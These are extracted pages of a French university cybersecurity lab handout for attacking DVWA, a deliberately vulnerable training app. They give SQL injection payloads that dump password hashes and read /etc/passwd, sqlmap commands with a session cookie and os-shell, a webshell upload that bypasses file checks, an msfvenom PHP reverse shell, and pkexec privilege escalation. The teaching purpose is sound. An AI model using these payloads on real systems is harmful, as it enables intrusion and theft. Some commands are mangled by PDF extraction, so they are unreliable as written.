DVWA

09/11/18

4.8.2 Exploitation 4.8.2.1 Exploitation manuelle Ce chapitre est très inspiré de l’article suivant : https://www.information-security.fr/dvwa-sqlinjection-solutions-protections/ Nous nous trouvons en face d’un formulaire de recherche des utilisateurs. Si nous saisissons “1“, nous obtenons en retour “admin” .

La première chose à faire va être de voir à quel point nous pouvons agir sur la requête faite en base de données. La plupart du temps, les requêtes SQL faites via PHP sont délimitées par des guillemets ou desapostrophes, également, les paramètres fournis par le client web sont parfois directement inclus dans la requête. Ici, si l’on saisi ” 1′ ” on obtient une erreur SQL, cela prouve donc que l’on peut agir sur la requête SQL faite au serveur de base de données, en tout cas modifier sa structure pour qu’elle ne soit plus transmise de la même façon.

Voila plus exactement comment est construite la requête si nous regardons le code source :

Classification : Public

40 / 58

UE Cybersécurité

DVWA

09/11/18

"SELECT first_name, last_name FROM users WHERE user_id = '$id'"

Ici, nous pouvons voir que le paramètre envoyé par les clients via le formulaire est directement inclus, sans vérification, dans la requête SQL. Voici donc ce que devient notre ” 1′ ” : "SELECT first_name, last_name FROM users WHERE user_id = '1''" On voit donc ici qu’il y a effectivement un problème d’apostrophe, d’où l’erreur. Essayons de régler ce problème en rajoutant une apostrophe pour fermer celle que nous avons ouverte ” 1””:

"SELECT first_name, last_name FROM users WHERE user_id = '1'''" Nous remarquons alors qu’il n’y a plus d’erreur, ici, on peut donc espérer inclure du code dans la requête SQL, plus exactement rajouter des informations dans la requête SQL "SELECT first_name, last_name FROM users WHERE user_id = '1' Informations ajoutées dans la requête SQL sans occasionner d'erreur''" Faisons simple pour l’instant en essayant d’afficher plus d’un utilisateur : 0′ OR user_id >’ "SELECT first_name, last_name FROM users WHERE user_id = '1' OR user_id >'"

Classification : Public

41 / 58

UE Cybersécurité

DVWA

09/11/18

Voici le résultat que l’on pourra voir :

Ce que nous voyons ici est donc une modification de la requête SQL passée par le script PHP. Au lieu de simplement demander l’affichage des informations pour l’utilisateur ayant l’ID « 1 », on a demandé l’affichage des informations pour l’utilisateur dont l’ID est 1 OU ID supérieur à rien (nous aurions pu mettre mettre 0), ce qui a pour effet d’afficher les informations de tous les utilisateurs. Si nous voulons aller plus loin dans l’attaque, nous pouvons essayer de deviner le nom de la colonne contenant les mots de passe puis de les afficher grâce à une requête “UNION” permettant de joindre une autre requête SELECT, exemple : 1′ UNION select password, last_name from users#

"SELECT first_name, last_name FROM users WHERE user_id = '1' UNION select password, last_name from users#"

Ici, nous arrivons donc à exploiter la faille SQL injection afin d’afficher directement les mots de passe des utilisateurs dans la page de réponse, ou plutôt le hash des mots de passe utilisateurs :

Classification : Public

42 / 58

UE Cybersécurité

DVWA

09/11/18

Il est aussi possible d’afficher un fichier local du serveur, notamment via “load_file“, qui est une syntaxe permettant la lecture de contenus locaux pour les intégrer à la réponse SQL : LOAD DATA INFILE Syntax

' union all select load_file('/etc/passwd'),null #

Résultat :

Classification : Public

43 / 58

UE Cybersécurité

DVWA

09/11/18

Nous avons vu qu’afin de réaliser l’injection SQL, il est important de connaitre le nombre de colonnes de la table. La requête « 1’ UNION SELECT version(), null # » nous permet de connaitre la version de mysql utilisée.

4.8.2.2 Exploitation automatisée Sqlmap est un outil permettant d’exploiter les vulnérabilités de type injection sql. Commandes : https://github.com/sqlmapproject/sqlmap/wiki/Usage Selon la configuration de la machine vulnérable, il est possible de réaliser de nombreuses actions (bien plus que de seulement récupérer / modifier le contenu des tables). Il est aussi possible de lire des fichiers sur le serveur et aussi d’uploader des fichiers. Il faut tout d’abord récupérer l’url vulnérable :

Note : si vous avez une erreur sous sqlmap de type « error redirect », et que l’injection ne fonctionne pas c’est qu’il est très probable que l’accès à la page qui contient l’injection sql nécessite une authentification… Il faut alors récupérer le cookie de session et l’indiquer à sqlmap avec l’option –cookie

Classification : Public

44 / 58

UE Cybersécurité

DVWA

09/11/18

Utiliser sqlmap pour : -

-

Récupérer les données de la table users de dvwa Récupérer le fichier /etc/passwd (option sqlmap : –file-read)  python sqlmap.py -u "http://192.168.1.77/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=4rniiq6gbrueoinsosvcf3ok25; security=low" --fileread=/etc/passwd Obtenir un shell. Il est aussi possible un shell à partir d’une ligne de commande. En utilisant des fonctionnalités sql, il est possible d’écrire un fichier sur le système. Par contre, cela nécessite un répertoire accessible en écriture sur le serveur. (utiliser le répertoire /opt/lampp/htdocs/hackable/uploads) (options –os-shell)

Classification : Public

45 / 58

UE Cybersécurité

Classification : Public

DVWA

09/11/18

46 / 58

UE Cybersécurité

DVWA

09/11/18

5 Blind SQL Injection 5.1 Description Les injections SQL à l’aveugle (blind SQL injection) sont très proches des injections SQL classiques, à une différence majeure : l’absence de l’affichage d’erreur permettant de “guider” une injection SQL standard. En effet, nous avons vu que dans le cadre de l’injection SQL, celle-ci est repérée lorsque l’on arrive à avoir comme retour à notre requête une erreur SQL. Techniquement, le non affichage des erreurs SQL est due à l’absence, dans le code source, du code PHP suivant :

or die('' . mysql_error() . '' );

Celui-ci permet de renvoyer l’erreur indiquée par la base de données “mysql_error()” directement dans la page HTML entre les balises d’affichage “pre” . On obtient donc un retour sur la nature de l’erreur.

Dans le cadre de l’exploitation d’une injection SQL à l’aveugle, le terme « aveugle » signifie que l’on va devoir exploiter la vulnérabilité sans avoir la possibilité de voir les erreurs SQL car le code renvoyant les erreurs est absent dans la page PHP (par mesure de sécurité ou car le serveur n’affiche pas les erreurs du serveur). Nous allons devoir effectuer un ensemble de tests et de requêtes et en fonction des résultats, cela indiquera que nous sommes parvenus à modifier la requête SQL (ou non). Dans le cas présent, nous savons que la valeur à envoyer est un chiffre. Le chiffre correspond à l’ID de l’utilisateur (1 renvoie admin, 2 gordon, etc.)

Classification : Public

47 / 58

UE Cybersécurité

DVWA

09/11/18

Il faut savoir que les requêtes SQL acceptent assez bien les opérations mathématiques. En règle générale dans un requête SQL, si l’on envoie “1+1″ , cela sera automatiquement traduit par “2” . Cela peut dans notre cas être utile pour voir à quel point l’on peut modifier la requête SQL envoyée au serveur de base de données. Savoir si nous pouvons modifier la requête SQL, nous permet de savoir si nous pouvons réaliser une injection SQL. En cas d’envoi de la valeur « 1+1 » dans le formulaire, nous avons en réponse les informations de l’utilisateur “Gordon” (l’utilisateur qui a l’ID 2) :

Si l’on envoie “2-1” , nous avons les informations de l’utilisateur “admin” :

Que peut-on en déduire ?  Il n’y a pas de contrôle précis dans le code PHP, en tout cas pas de contrôle vérifiant que la donnée envoyée est purement un nombre sans caractère spécial par exemple  On peut modifier la requête SQL avec les données que l’on envoie On peut alors tenter d’aller plus loin en reprenant les exploits utilisés dans le niveau “low” et “medium” d’Injection SQL : On arrive donc à modifier la requête en y ajoutant des données supplémentaires, signe qu’une Injection SQL est possible

5.2 Exploitation 5.2.1 Exploitation simple Nous allons par exemple détecter la version du serveur mysql. Avec l’injection SQL classique, nous avons pu directement récupérer le numéro de la version du serveur mysql utilisé avec la requête suivante :

Classification : Public

48 / 58

UE Cybersécurité

DVWA

09/11/18

1’ UNION select version(),null# Dans le cadre d’une requête d’injection SQL à l’aveugle, nous allons de voir tester le numéro de la version jusqu’à ce que le serveur nous réponde vrai (plutôt que de l’obtenir directement comme avec une requête classique) : Si nous exécutons cette même requête pour l’injection SQL à l’aveugle, nous n’obtenons pas de résultat.

Comme dit précédemment, le serveur nous répond par vrai ou faux (pas de réponse). Par exemple, la requête suivante demande si la version de mysql est égale à 4 (« 'OR version()='4' -- ';)

” Pas de réponse. (ce qui signifie que la réponse est fausse) Nous demandons ensuite si la version est 5. Pas de réponse aussi.

Classification : Public

49 / 58

UE Cybersécurité

DVWA

09/11/18

Par contre, si nous demandons si la version du serveur mysql est 5.1.41 (ce numéro a été récupéré lors de l’injection SQL classique), nous avons une réponse du serveur ce qui signifie que la réponse est vraie (et que la version du serveur mysql est bien égale à 5.1.41).

Dans un cas réel, nous aurions dû automatiser la requête pour trouver la bonne réponse (la version du serveur mysql est-elle égale à 3 ? égale à 3.1 ? égale à 3.2 ? etc.) jusqu’à ce que le serveur nous réponde vrai. Concernant les outils d’exploitation, sqlmap supporte les injections sql à l’aveugle. Il existe aussi de nombreux autres outils dont bbqsql (https://github.com/Neohapsis/bbqsql).

Classification : Public

50 / 58

UE Cybersécurité

DVWA

09/11/18

5.3 Upload 5.3.1 Description Les failles de sécurité de type File Upload se caractérisent généralement par la possibilité d’envoyer des fichiers de façon un peu trop libre sur l’application web visée. Généralement, un formulaire d’upload de fichier est mis en place pour différentes raisons. Cela peut par exemple être afin d’uploader une image de profil, de partager des fichiers ou des images avec des collaborateurs, etc. Quoi qu’il en soit, une faille de type File Upload est exploitée lorsqu’un pirate se sert de la possibilité de charger un fichier sur le serveur à des fins non prévues, par exemple : -

Saturer l’espace disque du serveur avec des fichiers trop lourds Charger des scripts lui permettant d’exécuter des actions sur le serveur

En effet, il faut savoir que par “fichier”, on entend aussi bien des images ou des documents standard, mais également des scripts et bouts de code (PHP par exemple). Cela est très dangereux, car un attaquant qui arrive à uploader un webshell sur le serveur web ciblé possèdera alors une possibilité d’action importante. Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/

5.3.2 Exploitation 5.3.2.1 Exploitation simple En niveau « facile » sur dvwa, il n’y a pas de contrôle les extensions uploadées. Uploader un shell php via la fonctionnalité upload puis y accéder.

Classification : Public

51 / 58

UE Cybersécurité

DVWA

09/11/18

5.3.2.2 Exploitation avancée 5.3.2.2.1 Exploitation avec Burp Mettre la sécurité dvwa à medium et utiliser Burp pour upoloader un webshell Cette fois, il y a un contrôle des extensions qui est réalisé.

Il y a un contrôle sur le content-type pour éviter l’uploader de fichiers potentiellement dangereux comme php.

Il suffit alors de mettre un content-Type valide comme image-jpeg pour outrepasser le contrôle.

Classification : Public

52 / 58

UE Cybersécurité

DVWA

09/11/18

5.3.2.2.2 Exploitation avec Metasploit L’idée est de générer un webshell avec metasploit, de l’uploader sur la plate-forme et de l’exécuter : - Génération d’un meterpreter php :  msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php  msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.32 LPORT=9999 -f raw > shell.php  attention modifier les premiers caractères du fichier shell.php pour supprimer les caractères /* (bug de msfvenom)

-

Configurer metasploit pour être en attente de connexion

Sur l’interface web, on tente d’uploader le fichier shell.php

On obtient un message d’erreur, car notre fichier possède une extension non autorisée (.php)

Classification : Public

53 / 58

UE Cybersécurité

DVWA

09/11/18

On renomme notre fichier en shell.php.jpg

Si on tente d’uploader le fichier, ceci fonctionnera, mais nous ne pourrons pas exécuter le fichier (car une extension en jpg). Comme le contrôle de l’extension est réalisé sur la page (par une fonction javascript), on intercepte la requête lors de l’upload et on renomme notre fichier à la volée.

Cette fois-ci, notre fichier a bien été uploadé avec une extension php et nous pouvons ainsi l’exécuter.

Classification : Public

54 / 58

UE Cybersécurité

DVWA

09/11/18

Il ne reste plus qu’accéder au fichier :

Une fois exécuté, l’ouverture de session est réalisée dans metasploit :

Classification : Public

55 / 58

UE Cybersécurité

DVWA

09/11/18

6 Aller plus loin 6.1 Comptes faibles FTP Ouvrir une session metasploit avec les identifiants ftp découverts par nessus. Rechercher le module metasploit correspondant (sous metasploit, taper : search ftp pour trouver la liste des modules ftp)

6.2 Elévation de privilèges 6.2.1 Description Les pirates recherchent souvent le contrôle complet d'un système informatique afin de pouvoir s'en servir à leur profit. Lorsqu'un pirate commence par un compte utilisateur compromis et parvient ensuite à augmenter ou élever les privilèges d'utilisateur individuel qu'il possède pour parvenir à des privilèges administratifs complets ou « racine », nous pouvons donner à ces attaques le nom d'élévation de privilèges verticale. Le compte obtenu par l’exploitation de vulnérabilités a des droits limités (compte utilisé par le processus Apache). La prochaine étape est donc d’obtenir les droits du compte administrateur (root) ce qui nous permettra d’effectuer toutes les actions que nous souhaitons : installation d’une porte dérobée, effacement des fichiers logs, cassage des comptes utilisateurs, etc Pour élever nos privilèges, on utilise souvent un exploit local. Maintenant comment trouver la vulnérabilité à utiliser ? La clé est l’énumération, qui comprend : - Enumération du système d’exploitation - Enumération des services et des applications - Enumération du système de fichiers - Enumération des informations confidentielles - Enumération des connexions réseau Il s’agit d’abord de récupérer le maximum d’informations, puis une fois des vulnérabilités détectées, d’exploiter l’une d’elles. Plus d’informations sont disponibles ici : -

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ http://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/#gref

6.2.2 Exploitation 6.2.2.1 Exploitation simple

Classification : Public

56 / 58

UE Cybersécurité

DVWA

09/11/18

Metasploit possède des modules pour élever ses privilèges (encore faut-il savoir lequel utiliser…) Pour vous entrainer, voici l’exploit local à utiliser sous metasploit : exploit/linux/local/pkexec Méthodo : -

Obtenir un shell avec le meterpreter sur dvwa Laisser la session ouverte commande background) Utiliser l’exploit suivant : o exploit/linux/local/pkexec indiquer la session du meterpreter enjoy in root 

Exemple :

6.2.2.2 Exploitation avancée Il existe un outil pour collecter de nombreuses informations sur un système et ainsi pouvoir découvrir la/les vulnérabilité(s) à exploiter. Le script est fourni avec ce tp, il s’agit de linuxprivchecker.py. L’idée est tout d’abord d’obtenir un accès au système, d’uploader le script sur le serveur puis de l’exécuter.

Classification : Public

57 / 58

UE Cybersécurité

DVWA

09/11/18

Le script donne de nombreuses informations et suggère des vulnérabilités à utiliser selon la version du système détectée.

Exécuter le script et analyser les résultats obtenus. Regarder et exécuter les exploits suggérés. Vous pouvez consulter le https://dook.biz/tag/privesc/ Classification : Public

lien

suivant

qui

donne

un

exemple

d’exploitation :

58 / 58